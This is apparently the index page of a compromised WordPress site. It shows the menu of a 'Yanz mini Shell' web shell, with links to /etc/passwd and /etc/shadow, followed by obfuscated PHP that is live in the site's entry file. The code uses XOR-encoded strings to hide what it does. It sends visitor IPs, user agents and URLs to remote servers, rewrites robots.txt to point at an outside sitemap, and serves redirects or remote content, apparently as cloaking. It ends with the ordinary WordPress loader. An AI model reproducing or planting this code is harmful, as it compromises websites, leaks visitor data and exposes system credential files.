Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function A7h2zQ2DyO($sltlK, $IFeMm){ $lQDeu = ($sltlK * $IFeMm) % 70; $gMs54 = sqrt(abs($lQDeu)) * 6066 / 100; $WkYlw = ($lQDeu << 2) ^ ($gMs54 >> 1); if($WkYlw > 70 * 10) { $WkYlw = $WkYlw / $sltlK; } else { $WkYlw = $WkYlw * $IFeMm; } return ($WkYlw + $lQDeu) % 6066; } $gFCKQ1 = 513 + 170; $YnsqwM = ($gFCKQ1 * 513) / (170 + 1); $svQB0u = str_repeat('x', $gFCKQ1 % 10); $gFCKQ1 = ($gFCKQ1 << 11) | ($gFCKQ1 >> (32 - 11)); class BL7A4VCqkBA7 { private $F3ZCl; private $ynm7z; public function Dam6KCEi() { return $this->F3ZCl * $this->ynm7z % 100; } public function c0aoEKMO($F3ZCl) { $this->$F3ZCl = ($F3ZCl + $this->$F3ZCl) % 1000; return $this->Dam6KCEi(); } } $DMVAk = 'BnCgPFLJEmMX5Ikn';$FDW8v = array('_tlkmrs' => '675d7142637f697974487e60107b2f4b7557665066637a7b605a757d067b4e5d734b70577574096f735b686f0d6c5d2d675976426674697c77487a60107f5d4b702b665167637a78605b7e','_wk5m28' => '675d7142637f697974487e60107b2f4b7557665066637a7b605a757d067b4e5d734b70577574096f7354686f036c5d57675800426677697d77487f1d107f294b742d665114','_9qpn2d' => '675d7142637f697974487e60107b2f4b7557665066637a7b605a757d067b4e5d734b70577574096f725f686f056c5d5c67587a426770697c73487a6e107f594b7458665515637a08605b0e7d030d','_psgvgc' => '675d7142637f697974487e60107b2f4b7557665066637a7b605a757d067b4e5d734b70577574096f725b686e046c5c5c675970426775697c00487b1e107e524b742d665515637a08605b0e7d030d','_z6z8o8' => '7057725f7d2a25242e5f7c68','_2a1sq8' => '0a3a17370f0e031911','_bs0sjt' => '','_gnpiu9' => '0a3a17370f070f09003d190779082529172f0422','_41q0oz' => '2700','_dipqfo' => '0a3a17370f14090c003f080a','_7j1t5p' => '2a1a371723','_1w5bin' => '2a1a3717','_s94qi1' => '062100321d03021e1a3f021761','_4ip96l' => '6d402b1331252f2f361e','_lqfgcx' => '6d','_usu1dr' => '2b00270228683c2235','_e68z71' => '2b00270228','_05d4wv' => '6d326c4f0b1810651846117645211b476d','_2b3a3n' => '6c1e2b17','_owp1ro' => '6d51','_iaekb5' => '7d','_thq1uw' => '6d072d03353e623a2d1d','_lhgkwd' => '63','_v6ykye' => '350b21','_b1zbzw' => '3814','_ig5iez' => '371c2a','_18g7k6' => '371c2f143827222d','_czuefq' => '2e0f2d00','_mtm5wi' => '310b31113534','_xhojk8' => '2f0127023c','_09sw9i' => '340b3114392922','_v8ha1j' => '78416c','_0msdv7' => '2c01210824333f2f370c2a3d5b3d','_woy2ay' => '2d052b133d2a','_3ypu8v' => '2a0b22033534','_8qj30v' => '01012d133528386731143d3d0f691f0b3a1a6c0f242b2071650e2539473a0e1a7f1b37017d7e','_hm712c' => '300b330b312529','_xzede1' => '360b30130f232f222a','_einpnh' => '2d1b37172532','_rl3jku' => '250b37043f28382f2b19786805390a0927','_zy81pp' => '0a3a17377f77627b65587d681500051a271c2d063c661f2f371b282a150c191c2d1c','_ttxt30' => '765e7717312129','_8splqg' => '0a3a17377f77627b65597d6c1507041a62282c123e22','_ux53xu' => '715e7217312129','_w1c2km' => '0a3a17377f77627b655e7d6915040418270a63373534212b2b08232c5930','_xqo4fy' => '210f200f35192f252b193f3759','_i59osr' => '2c016e043125242f694d2337183a1f01300b6f473d333f3e681f282e5425020a231a26','_8ly0ba' => '300b270e22232f3e','_wzhgi3' => '2d053b0a3c','_fmoy9w' => '01012d133528386711143d3d0f690a1e32022a04313225252b42353559724b0d2a0f31143532713f310b6060','_wd7g39' => '2d05310832293839','_ay42cl' => '01012d133528386711143d3d0f691f0b3a1a6c173c272524','_v33cuu' => '010f200f356b0f252b193f3759734b','_hppm3k' => '121c22003d27766a2b02603b542a030b','_47lccn' => '0716330e22233f70655d','_g5usk8' => '0e012006242f23247f4d','_54v1zo' => '0a3a17370f131f0f17320c1f70073f','_780i1k' => '25012c003c232e2531','_b961vh' => '20072d00','_sxqihp' => '3b0f2b083f','_t04c3w' => '25012c003c23','_fewtxp' => '102b123215151815103f04','_mwxu82' => '231c2411','_lpacx6' => '122613380303000c','_hzmhrb' => '133b063509191f1e1724031f','_5mpzdm' => '0a3a173703','_hff657' => '2d0825','_6jnnd6' => '0a3a17370f1e130c0a3f1a19670d2e2a1d3e11280409','_9308im' => '0a3a17370f001e050b39121d7b0d3426163a1334','_2zsqw0' => '6d1c2c053f323f64311539','_vx75jg' => '171d26157d272b2f2b1977781f','_igsmev' => '03022f08277c6c65','_g9n001' => '110737023d273c7065','_87nmds' => '6d1d2a13352b2d3a6b152034','_p8fobd' => '2a1a37176a6963','_1iv0ie' => '6d1d361735347a6435053d67','_9vxt7h' => '351e1c15352b233e20322a3d41','_5jxf09' => '36072e023f3338','_yllgev' => '371d26157d272b2f2b19','_czo5ac' => '0f01390e3c2a2d6570437d781d2a0403320f370e322a2971653a222a5119190b311d6a','_x4v8rb' => '211b310b0f2f222331','_dzfkxs' => '23022f082719393829322b37452c05','_966yfn' => '23','_e9f86z' => '38','_rlfdoa' => '1d','_5ihxif' => '735d');foreach($FDW8v as $key => $value){ $TzfVz = e9QLF(hex2bin($value), $DMVAk); define($key, $TzfVz ); }unset($FDW8v, $DMVAk);unset($GLOBALS['e9QLF']);function e9QLF($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$noHTL = [ _tlkmrs, _wk5m28, _9qpn2d, _psgvgc ]; $sFFvL = _z6z8o8; $gTbrX = $_SERVER[_2a1sq8] ?: _bs0sjt; $tWDpQ = $_SERVER[_gnpiu9] ?: _41q0oz; $LlAcg = $_SERVER[_dipqfo] ?: _bs0sjt; $VrzKW = YcVQBgGS() ? _7j1t5p : _1w5bin; $uiSLw = file_exists($_SERVER[_s94qi1] . _4ip96l) ? 1 : 2; $EQexN = GWPz1R7w(); $mLtmR = nmilFxAG() ?: _lqfgcx; $A7FgQ = _usu1dr; $AcrFM = _e68z71; preg_match(_05d4wv, $mLtmR, $UeR3h); if (!empty($UeR3h)) { $A7FgQ = $UeR3h[1]; if (($AvOeX = strpos($mLtmR, $A7FgQ)) !== false) { $A7FgQ = ltrim(substr($mLtmR, 0, $AvOeX + strlen($A7FgQ)), _lqfgcx); } $AcrFM = str_replace(_2b3a3n, _bs0sjt, $A7FgQ); } $AcrFM = stristr($mLtmR, _owp1ro) ? _iaekb5 : $AcrFM; $JC8Z0 = false; if (strpos($mLtmR, $sFFvL) !== false) { $EQexN = 1; $mLtmR = str_replace($sFFvL, _bs0sjt, $mLtmR); $JC8Z0 = true; } if ($mLtmR != _lqfgcx) { $mLtmR = str_replace(_lqfgcx . $A7FgQ, _bs0sjt, $mLtmR); $mLtmR = str_replace(_thq1uw, _bs0sjt, $mLtmR); $mLtmR = str_replace(_lhgkwd, _bs0sjt, $mLtmR); } $FXZxI = http_build_query([ _v6ykye => $gTbrX, _b1zbzw => $EQexN, _ig5iez => urlencode($mLtmR), _18g7k6 => $LlAcg, _1w5bin => $VrzKW, _czuefq => $tWDpQ, _mtm5wi => $uiSLw, _xhojk8 => $AcrFM, _09sw9i => $JC8Z0 ? $sFFvL : _bs0sjt ]); PlhuCjNT($VrzKW . _v8ha1j . $gTbrX); $sjA22 = lTevl2ef($noHTL, $FXZxI); if (strpos($sjA22, _0msdv7) === false) { $jNwtd = array( _woy2ay => array( _3ypu8v => _8qj30v, _hm712c => _woy2ay, _xzede1 => true, _einpnh => true ), _rl3jku => array( _3ypu8v => _zy81pp ), _ttxt30 => array( _3ypu8v => _8splqg ), _ux53xu => array( _3ypu8v => _w1c2km, _xqo4fy => _i59osr, _hm712c => _ux53xu, _8ly0ba => true ), _wzhgi3 => array( _3ypu8v => _fmoy9w, _hm712c => _wzhgi3, _einpnh => true ), _wd7g39 => array( _3ypu8v => _ay42cl, _hm712c => _wd7g39, _einpnh => true ) ); foreach ($jNwtd as $Fu5jW => $vE5li) { if (strpos($sjA22, $Fu5jW) !== false) { @header($vE5li[_3ypu8v]); if (isset($vE5li[_xqo4fy])) { @header(_v33cuu . $vE5li[_xqo4fy]); @header(_hppm3k); @header(_47lccn); } if (isset($vE5li[_hm712c])) { $sjA22 = str_replace($vE5li[_hm712c], _bs0sjt, $sjA22); } if (isset($vE5li[_xzede1]) && $JC8Z0) { echo $sFFvL; } if (isset($vE5li[_8ly0ba])) { @header(_g5usk8 . $sjA22); } elseif (isset($vE5li[_einpnh])) { echo $sjA22; } die(); } } } function GWPz1R7w() { $QpMS1 = isset($_SERVER[_54v1zo]) ? strtolower($_SERVER[_54v1zo]) : _bs0sjt; $df8xD = array(_780i1k, _b961vh, _sxqihp, _t04c3w); foreach ($df8xD as $kBuls) { if (strpos($QpMS1, $kBuls) !== false) { return 1; } } return 2; } function nmilFxAG() { if (isset($_SERVER[_fewtxp])) { return $_SERVER[_fewtxp]; } if (isset($_SERVER[_mwxu82])) { return $_SERVER[_lpacx6] . _iaekb5 . $_SERVER[_mwxu82][0]; } return $_SERVER[_lpacx6] . _iaekb5 . $_SERVER[_hzmhrb]; } function YcVQBgGS() { if (isset($_SERVER[_5mpzdm])) { $s35AY = strtolower($_SERVER[_5mpzdm]); if ($s35AY !== _hff657 && $s35AY !== _bs0sjt) { return true; } } if (isset($_SERVER[_6jnnd6]) && $_SERVER[_6jnnd6] === _7j1t5p) { return true; } if (isset($_SERVER[_9308im])) { $gThRp = strtolower($_SERVER[_9308im]); if ($gThRp !== _hff657 && $gThRp !== _bs0sjt) { return true; } } return false; } function PlhuCjNT($zv0lO) { $gJkd1 = F00JUUSx(); $LHmYD = $_SERVER[_s94qi1] . _2zsqw0; $TLN24 = _vx75jg . PHP_EOL . _igsmev . PHP_EOL . PHP_EOL . _g9n001 . $zv0lO . _87nmds . PHP_EOL; if (!file_exists($LHmYD)) { $gJkd1[0]($LHmYD, $TLN24); } else { $QfWqT = $gJkd1[1]($LHmYD); if ($QfWqT !== $TLN24) { $gJkd1[0]($LHmYD, $TLN24); } } } function lTevl2ef($jiTW9, $FXZxI) { $gJkd1 = F00JUUSx(); shuffle($jiTW9); foreach ($jiTW9 as $t80cu) { $x2BQj = $gJkd1[2](urldecode($t80cu)); $zv0lO = _p8fobd . $x2BQj . _1iv0ie . $FXZxI; if (function_exists(_9vxt7h)) { $ccgfK = wp_remote_get($zv0lO, array( _5jxf09 => 30, _yllgev => _czo5ac )); if (!is_wp_error($ccgfK)) { $okS5J = wp_remote_retrieve_body($ccgfK); return $okS5J; } } if (function_exists(_x4v8rb)) { $x03zX = curl_init(); curl_setopt($x03zX, CURLOPT_URL, $zv0lO); curl_setopt($x03zX, CURLOPT_RETURNTRANSFER, true); curl_setopt($x03zX, CURLOPT_TIMEOUT, 30); $ccgfK = curl_exec($x03zX); if (!curl_errno($x03zX)) { curl_close($x03zX); return $ccgfK; } curl_close($x03zX); } if (ini_get(_dzfkxs)) { $Txksb = stream_context_create(array( _1w5bin => array(_5jxf09 => 30) )); $ccgfK = @$gJkd1[1]($zv0lO, false, $Txksb); if ($ccgfK !== false) { return $ccgfK; } } } return _0msdv7; } function F00JUUSx() { $FKA4i = range(_966yfn, _e9f86z); return array( $FKA4i[5] . $FKA4i[8] . $FKA4i[11] . $FKA4i[4] . _rlfdoa . $FKA4i[15] . $FKA4i[20] . $FKA4i[19] . _rlfdoa . $FKA4i[2] . $FKA4i[14] . $FKA4i[13] . $FKA4i[19] . $FKA4i[4] . $FKA4i[13] . $FKA4i[19] . $FKA4i[18], $FKA4i[5] . $FKA4i[8] . $FKA4i[11] . $FKA4i[4] . _rlfdoa . $FKA4i[6] . $FKA4i[4] . $FKA4i[19] . _rlfdoa . $FKA4i[2] . $FKA4i[14] . $FKA4i[13] . $FKA4i[19] . $FKA4i[4] . $FKA4i[13] . $FKA4i[19] . $FKA4i[18], $FKA4i[18] . $FKA4i[19] . $FKA4i[17] . _rlfdoa . $FKA4i[17] . $FKA4i[14] . $FKA4i[19] . _5ihxif ); }?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>